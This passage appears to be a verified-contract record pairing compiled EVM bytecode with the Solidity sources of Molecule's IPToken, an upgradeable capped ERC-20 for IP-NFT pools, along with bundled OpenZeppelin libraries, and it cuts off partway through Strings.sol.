b815260040161067a90611db5565b6107e88282611354565b6097546001600160a01b031633146107d15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067a565b609780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166110bd5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161067a565b80603560008282546110cf9190611992565b90915550506001600160a01b0382166000818152603360209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6060600061113583611394565b600101905060008167ffffffffffffffff81111561115557611155611795565b6040519080825280601f01601f19166020018201604052801561117f576020820181803683370190505b5090508181016020015b600019016f181899199a1a9b1b9c1cb0b131b232b360811b600a86061a8153600a850494508461118957509392505050565b60606103a96001600160a01b038316601461146c565b606081516000036111f057505060408051602081019091526000815290565b6000604051806060016040528060408152602001611e67604091399050600060038451600261121f9190611992565b6112299190611e00565b611234906004611e22565b67ffffffffffffffff81111561124c5761124c611795565b6040519080825280601f01601f191660200182016040528015611276576020820181803683370190505b509050600182016020820185865187015b808210156112e2576003820191508151603f8160121c168501518453600184019350603f81600c1c168501518453600184019350603f8160061c168501518453600184019350603f8116850151845350600183019250611287565b50506003865106600181146112fe576002811461131157611319565b603d6001830353603d6002830353611319565b603d60018303535b509195945050505050565b600054610100900460ff1661134b5760405162461bcd60e51b815260040161067a90611db5565b6107d133611015565b600054610100900460ff1661137b5760405162461bcd60e51b815260040161067a90611db5565b603661138783826119f3565b506037610f5682826119f3565b60008072184f03e93ff9f4daa797ed6e38ed64bf6a1f0160401b83106113d35772184f03e93ff9f4daa797ed6e38ed64bf6a1f0160401b830492506040015b6d04ee2d6d415b85acef810000000083106113ff576d04ee2d6d415b85acef8100000000830492506020015b662386f26fc10000831061141d57662386f26fc10000830492506010015b6305f5e1008310611435576305f5e100830492506008015b612710831061144957612710830492506004015b6064831061145b576064830492506002015b600a83106103a95760010192915050565b6060600061147b836002611e22565b611486906002611992565b67ffffffffffffffff81111561149e5761149e611795565b6040519080825280601f01601f1916602001820160405280156114c8576020820181803683370190505b509050600360fc1b816000815181106114e3576114e3611e39565b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811061151257611512611e39565b60200101906001600160f81b031916908160001a9053506000611536846002611e22565b611541906001611992565b90505b60018111156115b9576f181899199a1a9b1b9c1cb0b131b232b360811b85600f166010811061157557611575611e39565b1a60f81b82828151811061158b5761158b611e39565b60200101906001600160f81b031916908160001a90535060049490941c936115b281611e4f565b9050611544565b5083156116085760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604482015260640161067a565b9392505050565b60005b8381101561162a578181015183820152602001611612565b50506000910152565b6000815180845261164b81602086016020860161160f565b601f01601f19169290920160200192915050565b6020815260006116086020830184611633565b6001600160a01b03811681146105de57600080fd5b6000806040838503121561169a57600080fd5b82356116a581611672565b946020939093013593505050565b6000806000606084860312156116c857600080fd5b83356116d381611672565b925060208401356116e381611672565b929592945050506040919091013590565b602081528151602082015260018060a01b0360208301511660408201526000604083015160608084015261172b6080840182611633565b949350505050565b60006020828403121561174557600080fd5b5035919050565b60008083601f84011261175e57600080fd5b50813567ffffffffffffffff81111561177657600080fd5b60208301915083602082850101111561178e57600080fd5b9250929050565b634e487b7160e01b600052604160045260246000fd5b600080600080600080600060a0888a0312156117c657600080fd5b87359650602088013567ffffffffffffffff808211156117e557600080fd5b6117f18b838c0161174c565b909850965060408a013591508082111561180a57600080fd5b6118168b838c0161174c565b909650945060608a0135915061182b82611672565b9092506080890135908082111561184157600080fd5b818a0191508a601f83011261185557600080fd5b81358181111561186757611867611795565b604051601f8201601f19908116603f0116810190838211818310171561188f5761188f611795565b816040528281528d60208487010111156118a857600080fd5b82602086016020830137600060208483010152809550505050505092959891949750929550565b6000602082840312156118e157600080fd5b813561160881611672565b600080604083850312156118ff57600080fd5b823561190a81611672565b9150602083013561191a81611672565b809150509250929050565b600181811c9082168061193957607f821691505b60208210810361195957634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561197157600080fd5b815161160881611672565b634e487b7160e01b600052601160045260246000fd5b808201808211156103a9576103a961197c565b601f821115610f5657600081815260208120601f850160051c810160208610156119cc5750805b601f850160051c820191505b818110156119eb578281556001016119d8565b505050505050565b815167ffffffffffffffff811115611a0d57611a0d611795565b611a2181611a1b8454611925565b846119a5565b602080601f831160018114611a565760008415611a3e5750858301515b600019600386901b1c1916600185901b1785556119eb565b600085815260208120601f198616915b82811015611a8557888601518255948401946001909101908401611a66565b5085821015611aa35787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60008151611ac581856020860161160f565b9290920192915050565b6e2270726f70657274696573223a207b60881b81526b01134b837333a2fb4b2111d160a51b600f82015285516000906020611b1082601b8601838c0161160f565b81840191507f2c2261677265656d656e745f636f6e74656e74223a2022697066733a2f2f0000601b830152603960008954611b4a81611925565b60018281168015611b625760018114611b7b57611bab565b60ff198416888701528215158302880186019450611bab565b8d6000528660002060005b84811015611ba15781548a8201890152908301908801611b86565b5050858389010194505b50505050611bd0817411161137b934b3b4b730b62fb7bbb732b9111d101160591b9052565b611bdd601582018a611ab3565b9350505050611c03817411161132b93199182fb1b7b73a3930b1ba111d101160591b9052565b611c106015820186611ab3565b6c11161139bab838363c911d101160991b81529050611c32600d820185611ab3565b61227d60f01b815260020198975050505050505050565b7f7b226e616d65223a2022495020546f6b656e73206f662049504e465420230000815260008351611c8181601e85016020880161160f565b7f222c226465736372697074696f6e223a2022495020546f6b656e732c20646572601e918401918201527f697665642066726f6d2049502d4e4654732c20617265204552432d323020746f603e8201527f6b656e7320676f7665726e696e6720495020706f6f6c732e222c22646563696d605e8201527f616c73223a2031382c2265787465726e616c5f75726c223a202268747470733a607e8201527f2f2f6d6f6c6563756c652e746f222c22696d616765223a2022222c0000000000609e8201528351611d568160b984016020880161160f565b607d60f81b60b9929091019182015260ba01949350505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815260008251611da881601d85016020870161160f565b91909101601d0192915050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b600082611e1d57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176103a9576103a961197c565b634e487b7160e01b600052603260045260246000fd5b600081611e5e57611e5e61197c565b50600019019056fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa26469706673582212209af28a5d21bfdc0c867cfd35efab460eaba434e80860aa2113511a50501ed92464736f6c63430008120033 | 608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063a457c2d71161007c578063a457c2d7146102a6578063a9059cbb146102b9578063dd62ed3e146102cc578063eac989f8146102df578063f2fde38b146102e7578063f5be3193146102fa57600080fd5b806370a082311461022c578063715018a61461025557806379cc67901461025d578063867904b4146102705780638da5cb5b1461028357806395d89b411461029e57600080fd5b8063355274ea11610115578063355274ea146101c7578063392f37e9146101d157806339509351146101e657806342966c68146101f9578063524440db1461020c5780635eb101c31461021f57600080fd5b806306fdde0314610152578063095ea7b31461017057806318160ddd1461019357806323b872dd146101a5578063313ce567146101b8575b600080fd5b61015a610303565b604051610167919061165f565b60405180910390f35b61018361017e366004611687565b610395565b6040519015158152602001610167565b6035545b604051908152602001610167565b6101836101b33660046116b3565b6103af565b60405160128152602001610167565b6101cf6103d3565b005b6101d96104d9565b60405161016791906116f4565b6101836101f4366004611687565b6105b2565b6101cf610207366004611733565b6105d4565b6101cf61021a3660046117ab565b6105e1565b60ca546101839060ff1681565b61019761023a3660046118cf565b6001600160a01b031660009081526033602052604090205490565b6101cf6107bf565b6101cf61026b366004611687565b6107d3565b6101cf61027e366004611687565b6107ec565b6097546040516001600160a01b039091168152602001610167565b61015a6108ec565b6101836102b4366004611687565b6108fb565b6101836102c7366004611687565b610976565b6101976102da3660046118ec565b610984565b61015a6109af565b6101cf6102f53660046118cf565b610a6a565b61019760c95481565b60606036805461031290611925565b80601f016020809104026020016040519081016040528092919081815260200182805461033e90611925565b801561038b5780601f106103605761010080835404028352916020019161038b565b820191906000526020600020905b81548152906001019060200180831161036e57829003601f168201915b5050505050905090565b6000336103a3818585610ae0565b60019150505b92915050565b6000336103bd858285610c05565b6103c8858585610c7f565b506001949350505050565b6097546001600160a01b03163314801590610470575060975460cb54604051632eec7b5560e11b815260048101919091526001600160a01b0390911690635dd8f6aa90602401602060405180830381865afa158015610436573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061045a919061195f565b6001600160a01b0316336001600160a01b031614155b1561048d5760405162e46f6160e11b815260040160405180910390fd5b60ca805460ff1916600117905560c9546040517f2912fc7045d52982dbe8b628b488de4b715d9b2d2d76c7c5d4c84f6cce528e5a916104cf9190815260200190565b60405180910390a1565b604080516060808201835260008083526020830152918101919091526040805160608101825260cb8054825260cc546001600160a01b0316602083015260cd8054929391929184019161052b90611925565b80601f016020809104026020016040519081016040528092919081815260200182805461055790611925565b80156105a45780601f10610579576101008083540402835291602001916105a4565b820191906000526020600020905b81548152906001019060200180831161058757829003601f168201915b505050505081525050905090565b6000336103a38185856105c58383610984565b6105cf9190611992565b610ae0565b6105de3382610e2a565b50565b600054610100900460ff16158080156106015750600054600160ff909116105b8061061b5750303b15801561061b575060005460ff166001145b6106835760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084015b60405180910390fd5b6000805460ff1916600117905580156106a6576000805461ff0019166101001790555b6106ae610f5b565b61072187878080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525050604080516020601f8b018190048102820181019092528981529250899150889081908401838280828437600092019190915250610f8a92505050565b604080516060810182528981526001600160a01b0385166020820181905291810184905260cb8a815560cc80546001600160a01b0319169093179092559060cd61076b85826119f3565b5090505080156107b5576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050505050565b6107c7610fbb565b6107d16000611015565b565b6107de823383610c05565b6107e88282610e2a565b5050565b6097546001600160a01b03163314801590610889575060975460cb54604051632eec7b5560e11b815260048101919091526001600160a01b0390911690635dd8f6aa90602401602060405180830381865afa15801561084f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610873919061195f565b6001600160a01b0316336001600160a01b031614155b156108a65760405162e46f6160e11b815260040160405180910390fd5b60ca5460ff16156108ca576040516302b6470560e51b815260040160405180910390fd5b8060c960008282546108dc9190611992565b909155506107e890508282611067565b60606037805461031290611925565b600033816109098286610984565b9050838110156109695760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161067a565b6103c88286868403610ae0565b6000336103a3818585610c7f565b6001600160a01b03918216600090815260346020908152604080832093909416825291909152205490565b606060006109c160cb60000154611128565b60cc54909150600090829060cd906109e1906001600160a01b03166111bb565b6109ea306111bb565b6109f560c954611128565b604051602001610a09959493929190611acf565b6040516020818303038152906040529050610a448282604051602001610a30929190611c49565b6040516020818303038152906040526111d1565b604051602001610a549190611d70565b6040516020818303038152906040529250505090565b610a72610fbb565b6001600160a01b038116610ad75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161067a565b6105de81611015565b6001600160a01b038316610b425760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161067a565b6001600160a01b038216610ba35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161067a565b6001600160a01b0383811660008181526034602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6000610c118484610984565b90506000198114610c795781811015610c6c5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161067a565b610c798484848403610ae0565b50505050565b6001600160a01b038316610ce35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161067a565b6001600160a01b038216610d455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161067a565b6001600160a01b03831660009081526033602052604090205481811015610dbd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161067a565b6001600160a01b0380851660008181526033602052604080822086860390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e1d9086815260200190565b60405180910390a3610c79565b6001600160a01b038216610e8a5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161067a565b6001600160a01b03821660009081526033602052604090205481811015610efe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161067a565b6001600160a01b03831660008181526033602090815260408083208686039055603580548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101610bf8565b505050565b600054610100900460ff16610f825760405162461bcd60e51b815260040161067a90611db5565b6107d1611324565b600054610100900460ff16610fb15760405162461bcd60e51b815260040161067a90611db5565b6107e88282611354565b6097546001600160a01b031633146107d15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067a565b609780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166110bd5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161067a565b80603560008282546110cf9190611992565b90915550506001600160a01b0382166000818152603360209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6060600061113583611394565b600101905060008167ffffffffffffffff81111561115557611155611795565b6040519080825280601f01601f19166020018201604052801561117f576020820181803683370190505b5090508181016020015b600019016f181899199a1a9b1b9c1cb0b131b232b360811b600a86061a8153600a850494508461118957509392505050565b60606103a96001600160a01b038316601461146c565b606081516000036111f057505060408051602081019091526000815290565b6000604051806060016040528060408152602001611e67604091399050600060038451600261121f9190611992565b6112299190611e00565b611234906004611e22565b67ffffffffffffffff81111561124c5761124c611795565b6040519080825280601f01601f191660200182016040528015611276576020820181803683370190505b509050600182016020820185865187015b808210156112e2576003820191508151603f8160121c168501518453600184019350603f81600c1c168501518453600184019350603f8160061c168501518453600184019350603f8116850151845350600183019250611287565b50506003865106600181146112fe576002811461131157611319565b603d6001830353603d6002830353611319565b603d60018303535b509195945050505050565b600054610100900460ff1661134b5760405162461bcd60e51b815260040161067a90611db5565b6107d133611015565b600054610100900460ff1661137b5760405162461bcd60e51b815260040161067a90611db5565b603661138783826119f3565b506037610f5682826119f3565b60008072184f03e93ff9f4daa797ed6e38ed64bf6a1f0160401b83106113d35772184f03e93ff9f4daa797ed6e38ed64bf6a1f0160401b830492506040015b6d04ee2d6d415b85acef810000000083106113ff576d04ee2d6d415b85acef8100000000830492506020015b662386f26fc10000831061141d57662386f26fc10000830492506010015b6305f5e1008310611435576305f5e100830492506008015b612710831061144957612710830492506004015b6064831061145b576064830492506002015b600a83106103a95760010192915050565b6060600061147b836002611e22565b611486906002611992565b67ffffffffffffffff81111561149e5761149e611795565b6040519080825280601f01601f1916602001820160405280156114c8576020820181803683370190505b509050600360fc1b816000815181106114e3576114e3611e39565b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811061151257611512611e39565b60200101906001600160f81b031916908160001a9053506000611536846002611e22565b611541906001611992565b90505b60018111156115b9576f181899199a1a9b1b9c1cb0b131b232b360811b85600f166010811061157557611575611e39565b1a60f81b82828151811061158b5761158b611e39565b60200101906001600160f81b031916908160001a90535060049490941c936115b281611e4f565b9050611544565b5083156116085760405162461bcd60e51b815260206004820181905260248201527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604482015260640161067a565b9392505050565b60005b8381101561162a578181015183820152602001611612565b50506000910152565b6000815180845261164b81602086016020860161160f565b601f01601f19169290920160200192915050565b6020815260006116086020830184611633565b6001600160a01b03811681146105de57600080fd5b6000806040838503121561169a57600080fd5b82356116a581611672565b946020939093013593505050565b6000806000606084860312156116c857600080fd5b83356116d381611672565b925060208401356116e381611672565b929592945050506040919091013590565b602081528151602082015260018060a01b0360208301511660408201526000604083015160608084015261172b6080840182611633565b949350505050565b60006020828403121561174557600080fd5b5035919050565b60008083601f84011261175e57600080fd5b50813567ffffffffffffffff81111561177657600080fd5b60208301915083602082850101111561178e57600080fd5b9250929050565b634e487b7160e01b600052604160045260246000fd5b600080600080600080600060a0888a0312156117c657600080fd5b87359650602088013567ffffffffffffffff808211156117e557600080fd5b6117f18b838c0161174c565b909850965060408a013591508082111561180a57600080fd5b6118168b838c0161174c565b909650945060608a0135915061182b82611672565b9092506080890135908082111561184157600080fd5b818a0191508a601f83011261185557600080fd5b81358181111561186757611867611795565b604051601f8201601f19908116603f0116810190838211818310171561188f5761188f611795565b816040528281528d60208487010111156118a857600080fd5b82602086016020830137600060208483010152809550505050505092959891949750929550565b6000602082840312156118e157600080fd5b813561160881611672565b600080604083850312156118ff57600080fd5b823561190a81611672565b9150602083013561191a81611672565b809150509250929050565b600181811c9082168061193957607f821691505b60208210810361195957634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561197157600080fd5b815161160881611672565b634e487b7160e01b600052601160045260246000fd5b808201808211156103a9576103a961197c565b601f821115610f5657600081815260208120601f850160051c810160208610156119cc5750805b601f850160051c820191505b818110156119eb578281556001016119d8565b505050505050565b815167ffffffffffffffff811115611a0d57611a0d611795565b611a2181611a1b8454611925565b846119a5565b602080601f831160018114611a565760008415611a3e5750858301515b600019600386901b1c1916600185901b1785556119eb565b600085815260208120601f198616915b82811015611a8557888601518255948401946001909101908401611a66565b5085821015611aa35787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60008151611ac581856020860161160f565b9290920192915050565b6e2270726f70657274696573223a207b60881b81526b01134b837333a2fb4b2111d160a51b600f82015285516000906020611b1082601b8601838c0161160f565b81840191507f2c2261677265656d656e745f636f6e74656e74223a2022697066733a2f2f0000601b830152603960008954611b4a81611925565b60018281168015611b625760018114611b7b57611bab565b60ff198416888701528215158302880186019450611bab565b8d6000528660002060005b84811015611ba15781548a8201890152908301908801611b86565b5050858389010194505b50505050611bd0817411161137b934b3b4b730b62fb7bbb732b9111d101160591b9052565b611bdd601582018a611ab3565b9350505050611c03817411161132b93199182fb1b7b73a3930b1ba111d101160591b9052565b611c106015820186611ab3565b6c11161139bab838363c911d101160991b81529050611c32600d820185611ab3565b61227d60f01b815260020198975050505050505050565b7f7b226e616d65223a2022495020546f6b656e73206f662049504e465420230000815260008351611c8181601e85016020880161160f565b7f222c226465736372697074696f6e223a2022495020546f6b656e732c20646572601e918401918201527f697665642066726f6d2049502d4e4654732c20617265204552432d323020746f603e8201527f6b656e7320676f7665726e696e6720495020706f6f6c732e222c22646563696d605e8201527f616c73223a2031382c2265787465726e616c5f75726c223a202268747470733a607e8201527f2f2f6d6f6c6563756c652e746f222c22696d616765223a2022222c0000000000609e8201528351611d568160b984016020880161160f565b607d60f81b60b9929091019182015260ba01949350505050565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c000000815260008251611da881601d85016020870161160f565b91909101601d0192915050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b600082611e1d57634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176103a9576103a961197c565b634e487b7160e01b600052603260045260246000fd5b600081611e5e57611e5e61197c565b50600019019056fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa26469706673582212209af28a5d21bfdc0c867cfd35efab460eaba434e80860aa2113511a50501ed92464736f6c63430008120033 | {{
"language": "Solidity",
"sources": {
"src/IPToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\nimport { ERC20BurnableUpgradeable } from \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol\";\nimport { OwnableUpgradeable } from \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport { Strings } from \"@openzeppelin/contracts/utils/Strings.sol\";\nimport { Base64 } from \"@openzeppelin/contracts/utils/Base64.sol\";\nimport { Tokenizer, MustControlIpnft } from \"./Tokenizer.sol\";\nimport { IControlIPTs } from \"./IControlIPTs.sol\";\n\nstruct Metadata {\n uint256 ipnftId;\n address originalOwner;\n string agreementCid;\n}\n\nerror TokenCapped();\n\n/**\n * @title IPToken 1.3\n * @author molecule.xyz\n * @notice this is a template contract that's cloned by the Tokenizer\n * @notice the owner of this contract is always the Tokenizer contract which enforces IPNFT holdership rules.\n * The owner can increase the token supply as long as it's not explicitly capped.\n * @dev formerly known as \"molecules\"\n */\ncontract IPToken is ERC20BurnableUpgradeable, OwnableUpgradeable {\n event Capped(uint256 atSupply);\n\n /// @notice the amount of tokens that ever have been issued (not necessarily == supply)\n uint256 public totalIssued;\n\n /// @notice when true, no one can ever mint tokens again.\n bool public capped;\n\n Metadata internal _metadata;\n\n function initialize(uint256 ipnftId, string calldata name, string calldata symbol, address originalOwner, string memory agreementCid)\n external\n initializer\n {\n __Ownable_init();\n __ERC20_init(name, symbol);\n _metadata = Metadata({ ipnftId: ipnftId, originalOwner: originalOwner, agreementCid: agreementCid });\n }\n\n constructor() {\n _disableInitializers();\n }\n\n modifier onlyTokenizerOrIPNFTController() {\n if (_msgSender() != owner() && _msgSender() != IControlIPTs(owner()).controllerOf(_metadata.ipnftId)) {\n revert MustControlIpnft();\n }\n _;\n }\n\n function metadata() external view returns (Metadata memory) {\n return _metadata;\n }\n\n /**\n * @notice the supply of IP Tokens is controlled by the tokenizer contract.\n * @param receiver address\n * @param amount uint256\n */\n function issue(address receiver, uint256 amount) external onlyTokenizerOrIPNFTController {\n if (capped) {\n revert TokenCapped();\n }\n totalIssued += amount;\n _mint(receiver, amount);\n }\n\n /**\n * @notice mark this token as capped. After calling this, no new tokens can be `issue`d\n */\n function cap() external onlyTokenizerOrIPNFTController {\n capped = true;\n emit Capped(totalIssued);\n }\n\n /**\n * @notice contract metadata, compatible to ERC1155\n * @return string base64 encoded data url\n */\n function uri() external view returns (string memory) {\n string memory tokenId = Strings.toString(_metadata.ipnftId);\n\n string memory props = string.concat(\n '\"properties\": {',\n '\"ipnft_id\": ',\n tokenId,\n ',\"agreement_content\": \"ipfs://',\n _metadata.agreementCid,\n '\",\"original_owner\": \"',\n Strings.toHexString(_metadata.originalOwner),\n '\",\"erc20_contract\": \"',\n Strings.toHexString(address(this)),\n '\",\"supply\": \"',\n Strings.toString(totalIssued),\n '\"}'\n );\n\n return string.concat(\n \"data:application/json;base64,\",\n Base64.encode(\n bytes(\n string.concat(\n '{\"name\": \"IP Tokens of IPNFT #',\n tokenId,\n '\",\"description\": \"IP Tokens, derived from IP-NFTs, are ERC-20 tokens governing IP pools.\",\"decimals\": 18,\"external_url\": \"https://molecule.to\",\"image\": \"\",',\n props,\n \"}\"\n )\n )\n )\n );\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/ERC20BurnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC20Upgradeable.sol\";\nimport \"../../../utils/ContextUpgradeable.sol\";\nimport \"../../../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Extension of {ERC20} that allows token holders to destroy both their own\n * tokens and those that they have an allowance for, in a way that can be\n * recognized off-chain (via event analysis).\n */\nabstract contract ERC20BurnableUpgradeable is Initializable, ContextUpgradeable, ERC20Upgradeable {\n function __ERC20Burnable_init() internal onlyInitializing {\n }\n\n function __ERC20Burnable_init_unchained() internal onlyInitializing {\n }\n /**\n * @dev Destroys `amount` tokens from the caller.\n *\n * See {ERC20-_burn}.\n */\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, deducting from the caller's\n * allowance.\n *\n * See {ERC20-_burn} and {ERC20-allowance}.\n *\n * Requirements:\n *\n * - the caller must have allowance for ``accounts``'s tokens of at least\n * `amount`.\n */\n function burnFrom(address account, uint256 amount) public virtual {\n _spendAllowance(account, _msgSender(), amount);\n _burn(account, amount);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/access/OwnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n function __Ownable_init() internal onlyInitializing {\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal onlyInitializing {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby disabling any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/Math.sol\";\nimport \"./math/SignedMath.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toString(int256 value) internal pure returns (string memory) {\n return string(abi.encodePacked(value < 0 ? \"-\" : \"\", toString(SignedMath.abs(value))));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n 